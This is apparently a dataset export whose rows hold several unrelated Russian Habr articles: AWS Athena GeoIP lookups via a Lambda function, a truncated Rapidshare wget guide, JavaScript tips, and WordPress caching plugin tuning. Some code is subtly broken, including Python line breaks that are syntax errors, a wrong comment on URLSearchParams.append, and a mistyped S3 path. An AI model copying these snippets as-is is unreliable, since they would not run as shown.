text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# AWS Athena: GEOIP lookups
*PS. Это перевод моей статьи на английском. Давно я не писал на Хабре. Сразу прощу прощения, много на русском не пишу. Не скажу что у меня и английский шикарный. Но к сожалению проживание за рубежом ухудшает мой русский и медленно развивает английский.*
Если вы пользуетесь AWS Athena для анализа логов, то часто хочется найти источник IP адресов. К сожалению AWS Athena не предоставляет этого из коробки. К счастью MaxMind предоставляет базы данных GeoIP таблиц, которые позволяют вычислить местоположение по IP адресам. Есть платная и бесплатная версия.
В этой статье я покажу как создать AWS Lambda функцию, которая каждую неделю будет скачивать последнюю базу данных с MaxMind на S3. Эту базу данных можно использовать в AWS Athena для написания SQL запросов для анализа, например, веб логов.
Создание аккаунта на MaxMind
----------------------------
Для скачивания даже [бесплатных баз данных](https://dev.maxmind.com/geoip/geoip2/geolite2/) GeoLite 2 с MaxMind вам нужно будет [создать аккаунт](https://www.maxmind.com/). После создания аккаунта, в Services можно сгенерировать Service Key. Сохраните его. Мы будем использовать формат [GeoLite2-City-CSV](https://dev.maxmind.com/geoip/geoip2/geoip2-city-country-csv-databases/).
При помощи Service Key мы можем попробовать скачать базу данных при помощи `curl`
```
curl -o GeoLite2-City-CSV.zip \
'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City-CSV&license_key={{YOUR_LICENSE_KEY}}&suffix=zip'
```
> Последние инструкции по скачиванию GeoIP баз данных можно найти [тут](https://dev.maxmind.com/geoip/geoip-direct-downloads/).
>
>
AWS Lambda функция для обновления GeoIP базы данных на S3
---------------------------------------------------------
Для собственного проекта я создал S3 Bucket `s3://app.loshadki.data`, где я планирую разместить базу данных GeoIP. Размещать две таблицы я буду по путям
* `s3://app.loshadki.datadata/geoip_blocks/data.csv.gz` - база IP масок и их GEO положение
* `s3://app.loshadki.datadata/geoip_locations/data.csv.gz` - расшифровка GEO в адреса (Страны, Города).
Создайте новую Lambda функцию, я назвал свою `GeoIP-Table-Update`, и использую `python:3.8`.
Я использую Environment Variables для некоторых настроек функции:
* `MAXMIND_GEOIP_LICENSE` - ваш Service Key от MaxMind.
* `S3_BUCKET_NAME` - S3 Bucket, куда собираетесь сохранять базу данных (я использую `app.loshadki.data`).
* `S3_BUCKET_PREFIX` - префикс для баз данных, я использую `data`
Эта функцию может выполняться долгое время. Выставите Timeout в 5 минут. Я так же изменил Memory в 256MB, так как с большей памятью выделяется так же больше CPU, и я часто замечал что дешевле выполнять функции с более быстрым CPU, даже если не используется вся память. Мы будем запускать эту функцию раз в неделю, так что большой разницы не будет, сколько мы будем платить.
Для автоматического выполнение этой функции раз в неделю создайте trigger. Выберете *EventBridge (Cloud Watch Events)*, создайте новое правило `upload-geoip-to-s3-weekly` с правилом `rate(7 days)`.
Для того, чтобы AWS Lambda функция могла писать на S3, мы так же должны обновить разрешения, я обычно просто обновляю Role созданную автоматически. Добавьте разрешение
```
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::app.loshadki.data/data/*"
}
]
}
```
Исходный код функции
--------------------
Исходный код функции нижу. Вы можете просто скопировать и вставить его в редактор, сделать Deploy и запустить. Функцию будет работать несколько минут. По окончании, если все настройки верны, вы должны увидеть файлы на S3.
```
import os
import os.path
import urllib.request
import shutil
import zipfile
import tempfile
import gzip
import boto3
def lambda_handler(event, context):
with tempfile.TemporaryDirectory() as tmpdirname:
zipfilename = os.path.join(tmpdirname, 'GeoLite2-City-CSV.zip')
print('step 1 - download geolite ip database')
download_geo_ip(tmpdirname, zipfilename)
print('step 2 - unzip all files')
unzip_all(tmpdirname, zipfilename)
print('step 3 - gzip files')
gzip_files(tmpdirname)
print('step 4 - upload to s3')
upload_to_s3(tmpdirname)
return
def download_geo_ip(tmpdirname, zipfilename):
geoip_url = 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City-CSV&license_key={}&suffix=zip'.
format(os.getenv('MAXMIND_GEOIP_LICENSE'))
with urllib.request.urlopen(geoip_url) as response, open(zipfilename, 'wb') as output:
shutil.copyfileobj(response, output)
def unzip_all(tmpdirname, zipfilename):
# unzip all, but without the directories, to easily find the files
with zipfile.ZipFile(zipfilename, 'r') as z:
for member in z.namelist():
filename = os.path.basename(member)
# if a directory, skip
if not filename:
continue
# copy file (taken from zipfile's extract)
with z.open(member) as zobj:
with open(os.path.join(tmpdirname, filename), "wb") as targetobj:
shutil.copyfileobj(zobj, targetobj)
def gzip_files(tmpdirname):
for filename in ['GeoLite2-City-Blocks-IPv4.csv', 'GeoLite2-City-Locations-en.csv']:
file_path = os.path.join(tmpdirname, filename)
with open(file_path, 'rb') as f_in,
gzip.open(file_path + '.gz', 'wb') as f_out:
shutil.copyfileobj(f_in, f_out)
def upload_to_s3(tmpdirname):
s3_bucket_name = os.getenv('S3_BUCKET_NAME')
s3_bucket_prefix = os.getenv('S3_BUCKET_PREFIX')
s3_client = boto3.client('s3')
s3_client.upload_file(
os.path.join(tmpdirname, 'GeoLite2-City-Blocks-IPv4.csv.gz'),
s3_bucket_name,
os.path.join(s3_bucket_prefix, 'geoip_blocks/data.csv.gz')
)
s3_client.upload_file(
os.path.join(tmpdirname, 'GeoLite2-City-Locations-en.csv.gz'),
s3_bucket_name,
os.path.join(s3_bucket_prefix, 'geoip_locations/data.csv.gz')
)
```
Создание таблиц AWS Athena
--------------------------
Теперь мы можем создать таблицы в AWS Athena на базе CSV файлов, которые мы только что скопировали на S3.
Первая таблица это IP адреса (не забудьте поменять расположение на S3, где вы храните CSV файлы)
```
CREATE EXTERNAL TABLE IF NOT EXISTS default.geoip_blocks (
network STRING,
geoname_id INT,
registered_country_geoname_id INT,
represented_country_geoname_id INT,
is_anonymous_proxy INT,
is_satellite_provider INT,
postal_code STRING,
latitude DOUBLE,
longitude DOUBLE,
accuracy_radius INT
)
ROW FORMAT DELIMITED
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n'
LOCATION 's3://app.loshadki.data/data/geoip_blocks/'
TBLPROPERTIES ('skip.header.line.count'='1');
```
Вторая таблицы это расшифровка к странам и городам (опять не забудьте поменять S3 путь)
```
CREATE EXTERNAL TABLE IF NOT EXISTS default.geoip_locations (
geoname_id INT,
locale_code STRING,
continent_code STRING,
continent_name STRING,
country_iso_code STRING,
country_name STRING,
subdivision_1_iso_code STRING,
subdivision_1_name STRING,
subdivision_2_iso_code STRING,
subdivision_2_name STRING,
city_name STRING,
metro_code STRING,
time_zone STRING,
is_in_european_union INT
)
ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.OpenCSVSerde'
WITH SERDEPROPERTIES (
'separatorChar' = ',',
'quoteChar' = '\"',
'escapeChar' = '\\'
)
LOCATION 's3://app.loshadki.data/data/geoip_locations/'
TBLPROPERTIES ('skip.header.line.count'='1');
```
Мы можем попробовать выполнить простой SQL запрос
```
select *
from default.geoip_blocks t1
inner join default.geoip_locations t2 on t1.geoname_id = t2.geoname_id
limit 10
```
Использование таблиц для поиска адреса по IP адресу (CIDR lookup)
-----------------------------------------------------------------
Таблица `geoip_blocks` определяет адреса блоками в CIDR кодировке, например `1.0.0.0/24`, что определяет все адреса от `1.0.0.0` до `1.0.0.255`. Текущая версия Presto [поддерживает](https://prestodb.io/docs/current/functions/ip.html) функции для проверки если IP адрес подходит для CIDR кодировки. Но к сожалению AWS Athena ([даже версия 2](https://docs.aws.amazon.com/athena/latest/ug/engine-versions-reference.html)) до сих пор не поддерживает эти функции, так как использует Presto [0.217](https://prestodb.io/docs/0.217/index.html). Но мы можем найти другой способ проверки.
Один из способов это преобразование IP адресов в Integer, чтобы была возможность выполнять запросы вроде `ip_start <= ip_address <= ip_end`. Преобразовать [IP адрес в Integer](https://en.wikipedia.org/wiki/IPv4#Address_representations) очень легко, формула простая `ipv4[1]*256*256*256 + ipv4[2]*256*256 + ipv4[3]*256 + ipv4[4]`. Ну и маску `/24` просто нужно преобразовать в последний IP адрес диапазона.
Самый простой вариант это просто создать View на базе таблицы `geoip_blocks`
```
CREATE OR REPLACE VIEW geoip_blocks_int AS
select
cast(ip[1] as BIGINT)*256*256*256 + cast(ip[2] as BIGINT)*256*256 + cast(ip[3] as BIGINT)*256 + cast(ip[4] as BIGINT) as ip_start,
(
bitwise_or(cast(ip[1] as BIGINT), bitwise_and(255, cast(power(2, greatest(8 - range, 0)) as BIGINT)-1))
)*256*256*256 +
(
bitwise_or(cast(ip[2] as BIGINT), bitwise_and(255, cast(power(2, greatest(16 - range, 0)) as BIGINT)-1))
)*256*256 +
(
bitwise_or(cast(ip[3] as BIGINT), bitwise_and(255, cast(power(2, greatest(24 - range, 0)) as BIGINT)-1))
)*256+
(
bitwise_or(cast(ip[4] as BIGINT), bitwise_and(255, cast(power(2, greatest(32 - range, 0)) as BIGINT)-1))
) as ip_end,
network,
geoname_id,
registered_country_geoname_id,
represented_country_geoname_id,
cast(is_anonymous_proxy as BOOLEAN) as is_anonymous_proxy,
cast(is_satellite_provider as BOOLEAN) as is_satellite_provider,
postal_code,
latitude,
longitude,
accuracy_radius
from
(
select
network,
geoname_id,
registered_country_geoname_id,
represented_country_geoname_id,
is_anonymous_proxy,
is_satellite_provider,
postal_code,
latitude,
longitude,
accuracy_radius,
split(network_array[1], '.') as ip,
cast(network_array[2] as BIGINT) as range
from
(
select
network,
geoname_id,
registered_country_geoname_id,
represented_country_geoname_id,
is_anonymous_proxy,
is_satellite_provider,
postal_code,
latitude,
longitude,
accuracy_radius,
split(network, '/') as network_array
from default.geoip_blocks
)
)
```
Пробуем результаты
------------------
Например мы можем попробовать найти местоположение IP адреса `1.1.1.1`. Нам нужно только преобразовать его в Integer опять.
```
with ips as (
select
(
cast(ip_array[1] as BIGINT)*256*256*256 +
cast(ip_array[2] as BIGINT)*256*256 +
cast(ip_array[3] as BIGINT)*256 +
cast(ip_array[4] as BIGINT)
) as ip_int,
ip
from (
select
'1.1.1.1' as ip,
split('1.1.1.1', '.') as ip_array
) as source
)
select
ips.ip,
locations.continent_name,
locations.country_name,
locations.city_name,
locations.time_zone
from
ips as ips
left join geoip_blocks_int as blocks on blocks.ip_start <= ips.ip_int and ips.ip_int <= blocks.ip_end
left join geoip_locations as locations on blocks.geoname_id = locations.geoname_id
```
Ну и немного более сложный SQL запрос, если у вас хранятся логи от CloudFront, чтобы показать самые популярные страницы с группировкой по странам и городам.
```
with access_logs as (
select
uri,
(
cast(split(ip, '.')[1] as BIGINT)*256*256*256 +
cast(split(ip, '.')[2] as BIGINT)*256*256 +
cast(split(ip, '.')[3] as BIGINT)*256 +
cast(split(ip, '.')[4] as BIGINT)
) as ip_int
from (
select uri,
case xforwarded_for
when '-' then request_ip
else xforwarded_for
end as ip
from access_logs_yesterday
where
sc_content_type = 'text/html'
and status = 200
and method = 'GET'
and not regexp_like(url_decode(user_agent), '(bot|spider)')
)
)
select
count(*) as count,
access_logs.uri as uri,
locations.continent_name,
locations.country_name,
locations.city_name,
locations.time_zone
from
access_logs
left join geoip_blocks_int as blocks on
blocks.ip_start <= access_logs.ip_int and access_logs.ip_int <= blocks.ip_end
left join geoip_locations as locations on blocks.geoname_id = locations.geoname_id
group by 2, 3, 4, 5, 6
order by 1
```
Что дальше?
-----------
Вы можете использовать колонки `postal_code` или `city_name` вместе с `country_name` вместе с AWS QuickSight для создания отчетов. Я так же создал для себя CloudWatch Alert, если функция упадет больше 2х раз, чтобы знать если что-то сломалось. | https://habr.com/ru/post/538034/ | null | ru | null |
# Как качать с Rapidshare.com premium используя wget
Недавно я, отчаявшись набрать рейтинг на torrents.ru, приобрел Premium аккаунт на известном файлообменнике rapidshare.com. Покупка эта, выполненная с помощью Visa, прошла не без фокусов, впервые в жизни мне звонили из двух банков, проверяя действительно ли я ~~сошел с ума~~ решил купить премиум аккаунт и заняло это несколько дней, а не несколько минут как обычно, ну да речь не об этом.
После покупки мне предложили вписать логин и пароль от аккаунта в Download master и забыть о проблемах. Что же делать если я преимущественно использую linux и люблю wget?
Задача эта оказалась нетривиальной, но довольно легко решаемой.
Для начала нужно зайти в Settings своего аккаунта и установить галку напротив строки
Direct downloads, requested files are saved without redirection via RapidShare
это позволит использовать ссылки напрямую, не заходя на сайт rapidshare.
Поскольку файлообменник для авторизации использует cookies то их необходимо скачать. Действие это производится однократно следующей командой:
`wget \` | https://habr.com/ru/post/28400/ | null | ru | null |
# JavaScript: 7 полезных мелочей
Автор заметки, перевод которой мы сегодня публикуем, говорит, что в JavaScript, как и в любом другом языке программирования, можно обнаружить множество маленьких хитростей, предназначенных для решения самых разных задач, как простых, так и довольно сложных. Некоторые из подобных приёмов широко известны, а другие, не такие распространённые, могут приятно удивить тех, кто о них не знает. Сейчас мы рассмотрим 7 полезных приёмов программирования на JavaScript.
[](https://habr.com/ru/company/ruvds/blog/449948/)
1. Получение уникальных значений массива
----------------------------------------
В JavaScript сформировать массив, содержащий лишь [уникальные значения](https://davidwalsh.name/array-unique) из другого массива, вероятно, проще, чем вы думаете:
```
var j = [...new Set([1, 2, 3, 3])]
// [1, 2, 3]
```
Мне нравится то, как эту задачу можно решить, совместно используя оператор `...` и тип данных `Set`.
2. Массивы и логические значения
--------------------------------
Вам когда-нибудь нужно было [убрать из массива](https://davidwalsh.name/array-boolean) значения, приведение которых к логическому типу даёт `false`? Например, это такие значения, как `0`, `undefined`, `null`, `false`. Возможно, вы не знали, что для того, чтобы это сделать, можно поступить так:
```
myArray
.map(item => {
// ...
})
// Избавляемся от ненужных значений
.filter(Boolean);
```
Как видите, для того, чтобы избавиться от всех подобных значений, достаточно передать `Boolean` методу массивов `.filter()`.
3. Создание по-настоящему пустых объектов
-----------------------------------------
Уверен в том, что вы можете создать объект, который кажется пустым, воспользовавшись синтаксисом объектного литерала: `{}`. Но такому объекту будет назначен прототип (`__proto__`), у него будет метод `hasOwnProperty()` и другие методы объектов. Для того чтобы создать по-настоящему [пустой объект](https://davidwalsh.name/object-create-null), который можно, например, использовать в качестве «словаря», можно поступить так:
```
let dict = Object.create(null);
// dict.__proto__ === "undefined"
// У объекта нет никаких свойств до тех пор, пока вы их в явном виде не добавите к нему
```
В объекте, созданном таким способом, нет свойств и методов, которые не добавлены в него самим программистом.
4. Слияние объектов
-------------------
Тем, кто пишет на JavaScript, всегда было нужно создавать такие объекты, которые [включали](https://davidwalsh.name/merge-objects) бы в себя содержимое других объектов. Особенно актуальной эта задача стала тогда, когда в JavaScript появились классы, тогда, когда программистам приходится работать с чем-то вроде программных представлений виджетов. Вот как создать новый объект на основе нескольких других объектов:
```
const person = { name: 'David Walsh', gender: 'Male' };
const tools = { computer: 'Mac', editor: 'Atom' };
const attributes = { handsomeness: 'Extreme', hair: 'Brown', eyes: 'Blue' };
const summary = {...person, ...tools, ...attributes};
/*
Object {
"computer": "Mac",
"editor": "Atom",
"eyes": "Blue",
"gender": "Male",
"hair": "Brown",
"handsomeness": "Extreme",
"name": "David Walsh",
}
*/
```
Оператор `...` значительно упрощает решение задачи слияния объектов.
5. Обязательные параметры функций
---------------------------------
Задание значений аргументов функций по умолчанию стало отличным расширением возможностей JavaScript. А вот как сделать так, чтобы без передачи некоторых [обязательных параметров](https://davidwalsh.name/javascript-function-parameters) функции попросту отказывались бы работать:
```
const isRequired = () => { throw new Error('param is required'); };
const hello = (name = isRequired()) => { console.log(`hello ${name}`) };
// Тут будет выдана ошибка, функции не передан аргумент name
hello();
// Здесь тоже будет ошибка
hello(undefined);
// Эти варианты вызова функции будут работать нормально
hello(null);
hello('David');
```
Перед нами — дополнительный уровень проверки того, что передаётся функциям.
6. Деструктурирующее присваивание и новые имена извлечённых свойств объектов
----------------------------------------------------------------------------
[Деструктурирование](https://davidwalsh.name/destructuring-alias) — это новая полезная возможность JavaScript, но иногда свойствам, извлекаемым из объектов, нужно назначать имена, отличающиеся от тех, которые они имеют в этих объектах. Вот как это сделать:
```
const obj = { x: 1 };
// Теперь мы можем работать с obj.x как с x
const { x } = obj;
// А теперь obj.x для нас выглядит как otherName
const { x: otherName } = obj;
```
Этот приём полезен в тех случаях, когда нужно избежать конфликта имён переменных или констант.
7. Разбор строк запросов
------------------------
Многие годы мы, для разбора строк запросов, писали регулярные выражения, но эти времена прошли. Теперь для решения этой задачи можно воспользоваться замечательным API [URLSearchParams](https://davidwalsh.name/query-string-javascript):
```
// Предполагается, что мы работаем с "?post=1234&action=edit"
var urlParams = new URLSearchParams(window.location.search);
console.log(urlParams.has('post')); // true
console.log(urlParams.get('action')); // "edit"
console.log(urlParams.getAll('action')); // ["edit"]
console.log(urlParams.toString()); // "?post=1234&action=edit"
console.log(urlParams.append('active', '1')); // "?post=1234&action=edit&active=1"
```
Использовать API `URLSearchParams` куда легче, чем решать те же задачи, применяя регулярные выражения.
Итоги
-----
Современный JavaScript очень быстро развивается, в нём постоянно появляются различные полезные улучшения. Но совершенствование языка не означает, что программистам не нужно думать над кодом и искать эффективные решения различных задач, встающих перед ними. Надеемся, те маленькие хитрости JavaScript, о которых мы сегодня говорили, вам пригодятся.
**Уважаемые читатели!** Знаете какие-нибудь полезные приёмы JS-программирования? Если так — просим ими поделиться.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/449948/ | null | ru | null |
# Ускорение WordPress. Тотальный разбор плагинов для кэширования. Личный опыт (часть 2)
В этой части я подробно рассмотрю принцип работы каждого плагина, о которых говорил в [первой части](https://habr.com/ru/post/573698/), а также приведу код с доработками для закрытия проблем плагинов. Кратко все преимущества и недостатки, основные выводы я уже сделал в [первой части](https://habr.com/ru/post/573698/) статьи.
Напомню, что я определял для себя следующие требования к плагинам:
1. Автокэширование
2. Умение исключать GET-параметры и рекламные метки при кешировании
3. Возможность использования PHP-функций на сайте
WP Super Cache
--------------
На сегодняшний день - это самый популярный плагин для кеширования WordPress. Его я выбрал в самом начале своих потуг в оптимизации WordPress. В процессе эксплуатации выявлялись разные «косяки» в его работе, и я периодически правил настройки, чтобы подобрать оптимальные. На текущий момент у тех сайтов, где я использую этот плагин, настройки выглядят следующим образом:
Настройки WP Super CacheПочему именно так? И почему многие настройки отличаются от рекомендованных разработчиком и рекомендаций со StackOverflow.
* **Метод доставки кеша: «Простой»**. Эта настройка отвечает за то, кто будет обрабатывать доставку кеша. При простом методе этим будет заниматься сам WordPress с помощью PHP, а при режиме «Эксперт» все правила будут записаны в файл .htaccess, и при попытке зайти на страницу, Apache отдаст уже готовый HTML-файл, если он существует. Действительно, на цифрах второй способ работает процентов на 10-20% быстрее. Но это, если сравнивать доставку с помощью PHP (положим, TTFB: 80 мс) и доставку с помощью mod\_rewrite (положим, TTFB: 60 мс). Если же сравнивать с загрузкой страницы без применения кеширования (положим, TTFB: 6 000 мс) - разница получается не столь велика. При этом, выбрав первый («простой») способ доставки кеша, код, который мы можем разместить в корневом index.php, будет исполнен. Это позволит нам реализовать свой кастомный трекинг и другую нестандартную логику. Если же нет необходимости в исполнении каких-либо PHP-скриптов на сайте, то нужно выбирать вторую настройку «Эксперт».
* **Отключить кеширование для авторизованных пользователей. (Рекомендовано).** Это позволит редакторам и контент-менеджерам, которые работают с сайтом регулярно, не нажимать "Удалить весь кеш", чтобы посмотреть внесенные ими изменения на страницах.
* **Отключить «Сжимать файлы кэша чтобы ускорить работу (Рекомендовано)»**. WP Super Cache создает 3 файла: HTML-копию страницы, GZIP-архив с этой страницей (чтобы браузер мог быстрее её получить, распаковать локально на ПК пользователя и быстрее её отобразить), а также php-файл, содержащий тот же самый HTML в случае, если кеш был создан не автоматически. Именно последний php-файл и будет отдаваться пользователям, пришедшим по рекламе, при этом для PHP-файла GZIP-архив не создается. Если же мы хотим, чтобы абсолютно всем пользователям (включая привлеченных с помощью рекламы) страница отдавалась в сжатом виде, то это лучше реализовать с помощью конфига Apache. В этом случае веб-сервер самостоятельно будет сжимать с помощью GZIP любую страницу вне зависимости от типа кеширования и в случае, если кеш-файл создан вообще не был. С помощью этой настройки мы просто сэкономим место на хостинге, которое выделяется под хранение GZIP-архивов с кешем.
* **Авто перестройка кэша**. **Гости блога увидят устаревшие версии страниц кэша пока новые будут генерироваться. (Рекомендовано)**. Эта настройка позволит отдавать всем пользователям всегда закешированные страницы, даже если срок жизни кеша уже истёк (в то время, пока новый кеш только создается).
* **Отключить "Дополнительная сверка кэша (очень редко может нарушить работу кэширования). (Рекомендовано)"**. Если функция будет включена, наша кастомная логика из index.php будет постоянно ломать кеш, и он будет постоянно пересоздаваться, принуждая пользователей видеть долгую загрузку.
* **Отключить "Создать список страниц в кэше (выводится на этой странице)"**. Нам это не нужно, список страниц всегда можно обновить и посмотреть в разделе «Состояние кеша».
Настройки WP Super CacheОтключаем таймаут кеширования. Позже мы включим автокеширование, которое не позволит очищать автоматически созданные файлы, при этом созданные кеш-файлы по заходам пользователей из рекламы будут удаляться по таймауту. Но нам это не нужно, эти файлы будут удалены при следующем запуске автокеширования, а если мы укажем таймаут меньше, чем интервал запуска автокеширования - они попросту удаляться раньше, чем нужно. Поэтому устанавливаем значение: "0", при этом не стоит переживать за накопление мусора, при запуске автокеширования ВЕСЬ мусор будет удален.
Далее переходим на вкладку «Общий кеш», где реализуем автокеширование.
Настройка WP Super CacheНужно проставить все галки, а также подобрать оптимальный период обновления кеша для настраиваемого сайта.
Не стоит указывать слишком большой промежуток обновления кеша, чтобы при публикации контента, который доступен на нескольких страницах, не попасть в ситуацию, когда была опубликована новость или важный пресс-релиз, а на сайте эта публикация появляется только спустя сутки.
Да, WP Super Cache самостоятельно обновит кеш страницы при внесении в неё изменений, НО он не будет обновлять другие страницы, где может присутствовать эта запись (например, на главной, в подвале или в сайдбаре).
Слишком маленький промежуток устанавливать тоже не стоит, т.к. при запуске автокеширования будут удалены все кеш-файлы, которые были созданы, в том числе неавтоматическим способом (например, при переходе из рекламы), и пользователи, заходя на эти страницы, будут опять видеть медленную загрузку.
В общем, если на сайте активно публикуются новости или статьи, стоит указать промежуток от 1 до 2 часов. Если же сайт по большей части статичный, и на нём редко что-либо публикуется или редактируется, спокойно можно выставить интервал в 24 часа.
Также полезно будет включить галку у параметра «Сообщения о статусе кэша» на вкладке «Обслуживание», для того чтобы периодически поглядывать, когда фактически был создан кеш той или иной страницы, не отвалилось ли кеширование в принципе, нет ли проблем с автоматическим кешированием.
На этом настройка плагина завершена.
### Проблемы WP Super Cache
Единственная (но критичная) проблема WP Super Cache заключается в том, что он не умеет вычленять из URL необходимые GET-параметры, и все страницы с UTM-метками и прочими аналитическими параметрами считает за уникальные.
Разработчики плагина как будто бы знали о такой проблеме, потому что предусмотрели настройку «Не кешировать страницы с параметрами GET (?x=y в конце URL)». Тем не менее, она ничего не даёт, кроме экономии места на диске, потому что кеш не будет создаваться для страниц с GET-параметрами.
Единственный способ избежать этой проблемы - это «колхозить» плагин. Колхоз и допилы чужих решений - это то, за что я проклинаю всех разработчиков, потому что так делать нельзя (как минимум, после обновления плагина - все твои изменения будут отменены).
Ничего умнее я не смог придумать, как добавить в файл **wp-content/plugins/wp-super-cache/wp-cache-phase1.php** следующий код:
```
function removeGetParameter($url, $varname) {
return preg_replace('#\\?$#', '', preg_replace('/([?&])'.$varname.'=[^&]+(&|$)/','$1',$url));
}
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "utm_source");
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "utm_medium");
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "utm_campaign");
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "utm_content");
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "utm_term");
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "gclid");
$wp_cache_request_uri = removeGetParameter($wp_cache_request_uri, "yclid");
```
после строчки **$wp\_cache\_request\_uri**
Это позволяет указать плагину на то, какую страницу мы хотим достать из кеша, при этом не перенаправляя никуда пользователя (в адресной строке UTM-метки у пользователя останутся).
В итоге, проблема устранена, но не до конца. Даже если страница https://www.site.com/landing-page/ была ранее уже закеширована, при попытке зайти по ссылке https://www.site.com/landing-page/?utm\_source=yandex&utm\_medium=cpc&utm\_campaign=promo&utm\_content=banner&utm\_term=i-wan-to-buy-something&yclid=93473892748392743473829 рядом создается еще один файл кеша (естественно страница грузится медленно). В разделе «Статистика кеша» на странице плагина мы увидим 2 идентичных элемента: https://www.site.com/landing-page/ в разделе "WP Super Cached Files" и точно такую же https://www.site.com/landing-page/ в разделе "WP Fresh Cached Files". Тем не менее, до момента истечения срока жизни кеша, при попытке обратиться с любым набором из описанных GET-параметров, который мы «приколхозили» с любым их значением (например, https://www.site.com/landing-page/?gclid=666), пользователю уже будет отдаваться кешированная версия (т.е. страница загрузится быстро).
Таким образом, если реклама ведется только на одну страницу сайта, а срок жизни кеша 1 час, то раз в час один пользователь будет грузить страницу медленно (пока создается кеш), при этом все остальные пользователи будут получать страницу быстро, ровно, как и те люди, которые заходят на сайт из поиска или по другим источникам без GET-параметров.
Ситуация стала значительно лучше, но до сих пор не идеальна. Представим, что реклама ведется на 100 страниц, реклама очень сильно таргетированная и с урезанными бюджетами. Так что не факт, что в час хотя бы один человек зайдет на ту или иную страницу (по рекламе). В этом случае профит не столь очевидный. При таком раскладе каждый привлеченный по рекламе человек будет долго ждать пока страница будет загружена.
Перелопатив тысячи строк кода, я так и не нашел способ это победить. Поэтому для себя, пока что, я нашел очень «костыльный», но всё же работающий способ решить эту проблему:
1. Пишем PHP-скрипт, который поштучно обходит файл sitemap.xml и дёргает за раз по 10 ссылок (поочередно)
2. Добавляем к каждой ссылке «/?utm\_source=test» и с помощью file\_get\_contents «открываем» эти страницы
3. Вешаем этот скрипт на CRON с запуском каждую минуту
10 хитов в минуту — это не слишком много, а при условии, что по большей части будет отдаваться уже существующей кеш, то ощутимой нагрузки это не создаст. Тем не менее, WP Super Cache создаст кеш-файлы для всех страниц сайта, которые могут игнорировать указанные нами GET-параметры.
Да, в лоб, но это работает! Если кто-то найдет более элегантный способ подружить WP Super Cache с GET-параметрами - приглашаю в комментарии.
WP Rocket
---------
В попытках найти более элегантный способ для реализации кеширования с GET-параметрами, я решил попробовать другой плагин - WP Rocket. И это полный провал. Несмотря на то, что плагин распространяется исключительно платно (по подписке), имеет красивый интерфейс и кучу настроек - все они бесполезны!
**Во-первых**, возможности выбора метода доставки кеша (mod\_rewrite или PHP) нет, он работает исключительно через mod\_rewrite, поэтому реализовать кастомный трекинг (как и любую другю PHP-логику) невозможно.
**Во-вторых**, автокеширование даже сравнительно небольшого сайта (~100 страниц) убивает напрочь сервер, на котором он крутится (скорее всего WP Rocket пытается осуществить обход всех страниц разом).
**В-третьих**, уже созданный кеш на половине страниц отваливается буквально через пару минут после его создания по неизвестной причине.
В общем, я даже не стал тратить время на доработки этого плагина.
W3 Total Cache
--------------
Следующим на очереди у меня был W3 Total Cache. Он хорошо себя показал, и имеет право на жизнь. Он имеет настройку, которая позволяет игнорировать указанные GET-параметры, и это работает без «костылей», как с WP Super Cache. Также W3 Total Cache имеет возможность работать через PHP (выбрав в разделе "Page Cache" настройку хранилища "Disk: Basic", код, размещенный в корневом index.php, будет исполнен, а скорость загрузки закешированных страниц будет высокая, сопоставимая с результатами WP Super Cache). В целом, функционал W3 Total Cache значительно превосходит WP Super Cache. Помимо множества вариантов более сложного кеширования (Memcached, APC, Zend OPcache, Redis), он из коробки умеет объединять и сжимать HTML, CSS и JS, а также выполнять Lazy Loading изображений.
Тем не менее для меня критичными оказались 2 проблемы:
1. По неизвестной причине страницы, периодически, грузятся очень долго. При этом на странице присутствует комментарий, что она была давно закеширована и, по логике, должна отдаваться быстро, но страница грузится долго. Чаще всего такое поведение наблюдается на втором клике визита (вне зависимости от того, какую страницу открыть). Кеш таких страниц в момент долгой загрузки не обновляется, т.е. после перезагрузки страницы, или, при открытии её с другого устройства, комментарий, содержащий информацию о времени кеширования, остается неизменным. Решается эта проблема переключением обработчика на mod\_rewrite (в настройках Page Cahe эта опция называется "Disk: Enhanced"). Но в моём случае это неприменимо, т.к. мне требуется выполнение PHP-кода при посещении страниц.
2. Вторая очень болезненная проблема - это процесс обновления кеша. W3 Total Cache конечно имеет функцию пребилда, т.е. он автоматически с заданным интервалом обходит сайт согласно sitemap.xml для создания кеш-файлов. При этом обход он осуществляет непрерывно, но пересоздает кеш-файлы лишь в тот момент времени, когда кеш уже устарел. В итоге получается следующая ситуация - в момент, когда время жизни кеша истекло, W3 Total Cache не успевает быстро обойти весь сайт, чтобы обновить кеш-файлы, и когда пользователь пытается зайти на страницу, с большой вероятностью она окажется с просроченным кешем и будет грузиться медленно. Ротация обхода тоже вряд ли совпадет с датами истечения кеша страниц, потому что обход запускается не в какой-то определенный момент времени, а работает непрерывно. И если страница была закеширована в 21:00, то далеко не факт, что после истечения срока жизни кеша (например, 1 час) эта страница попадет в обход ровно в 22:00.
В итоге имеем ситуацию:
* Сайт 100 страниц
* Время жизни кеша: 1 час
* TTFB без кеширования: 5-6 сек (5 000 – 6 000 мс)
* Обход: 1 раз в минуту по 10 страниц (за указанный промежуток времени больше 10 страниц при таких характеристиках лучше не обходить, т.к. если страницы не будут успевать кешироваться, то будет забиваться Cron и расти нагрузка на сервер. Меньше 1 раза в минуту указать нельзя, т.к. минута - это минимальный интервал Cron-а WordPress).
В этом случае каждый час у нас будет промежуток в +/- 10 минут, когда пользователь может попасть на страницу, кеш которой истек, а новый кеш будет создаваться во время загрузки страницы для этого пользователя. Пользователь увидит долгую загрузку страницы (чего мы пытаемся избежать).
